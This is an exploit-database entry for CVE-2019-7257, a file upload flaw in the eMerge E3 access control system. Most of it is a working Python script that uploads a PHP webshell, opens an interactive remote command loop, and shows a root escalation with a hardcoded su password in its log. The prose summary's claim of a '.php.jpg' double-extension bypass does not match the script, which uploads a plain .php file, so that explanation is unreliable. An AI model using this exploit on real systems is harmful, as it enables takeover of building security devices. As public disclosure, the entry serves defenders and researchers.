eMerge E3 1.00-06 - Arbitrary File Upload

vendor:

eMerge E3

by:

LiquidWorm

10.0

CVSS

CRITICAL

Arbitrary File Upload

434

CWE

Product Name: eMerge E3

Affected Version From: 1.00-06

Affected Version To: 1.00-06

Patch Exists: YES

Related CWE: CVE-2019-7257

CPE: a:linear_solutions:emerge_e3:1.00-06

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: NA

2018

eMerge E3 1.00-06 – Arbitrary File Upload

An arbitrary file upload vulnerability exists in eMerge E3 1.00-06. An attacker can exploit this vulnerability to upload a malicious file and execute arbitrary code on the server. This vulnerability is due to insufficient validation of the file type when uploading a file. An attacker can exploit this vulnerability by sending a malicious file with a double extension such as .php.jpg. This will bypass the validation and allow the attacker to upload the malicious file.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update to the latest version of the software.

Source

Exploit-DB raw data:

# Exploit Title: eMerge E3 1.00-06 - Arbitrary File Upload
# Google Dork: NA
# Date: 2018-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Version: 1.00-06
# Tested on: NA
# CVE : CVE-2019-7257
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Advisory: https://applied-risk.com/resources/ar-2019-005

# PoC
#####################################################################
#
# lqwrm@metalgear:~/stuff$ python e3upload.py 192.168.1.2
# Starting exploit at 17.01.2019 13:04:17
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ echo davestyle | su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot/badging/bg$ exit
#
# [+] Deleting webshell.php file...
# [+] Done!
#
#####################################################################

import datetime
import requests
import sys#####
import os######

piton = os.path.basename(sys.argv[0])

badge = "/badging/badge_layout_new_v0.php"
shell = "/badging/bg/webshell.php"

if len(sys.argv) < 2:
	print "\n\x20\x20[*] Usage: "+piton+" <ipaddress:port>\n"
	sys.exit()

ipaddr = sys.argv[1]
vremetodeneska = datetime.datetime.now()

print "Starting exploit at "+vremetodeneska.strftime("%d.%m.%Y %H:%M:%S")
print

while True:
    try:
        target = "http://"+ipaddr+badge

        headers = {"User-Agent": "Brozilla/16.0",
                   "Accept": "anything",
                   "Accept-Language": "mk-MK,mk;q=0.7",
                   "Accept-Encoding": "gzip, deflate",
                   "Content-Type": "multipart/form-data; boundary=----j",
                   "Connection": "close"}

        payload = ("------j\r\nContent-Disposition: form-da"
                   "ta; name=\"layout_name\"\r\n\r\nwebshel"
                   "l.php\r\n------j\r\nContent-Disposition"
                   ": form-data; name=\"bg\"; filename=\"we"
                   "bshell.php\"\r\nContent-Type: applicati"
                   "on/octet-stream\r\n\r\n<?\nif($_GET['cm"
                   "d']) {\n  system($_GET['cmd']);\n  }\n?"
                   ">\n\r\n------j--\r\n")

        requests.post(target, headers=headers, data=payload)

        cmd = raw_input("lighttpd@"+ipaddr+":/spider/web/webroot/badging/bg$ ")
        execute = requests.get("http://"+ipaddr+shell+"?cmd="+cmd)
        print execute.text
        if cmd.strip() == "exit":
            print "[+] Deleting webshell.php file..."
            requests.get("http://"+ipaddr+shell+"?cmd=rm%20webshell.php")
            print "[+] Done!\n"
            break
        else: continue
    except Exception:
        print "Error!"
        break

sys.exit()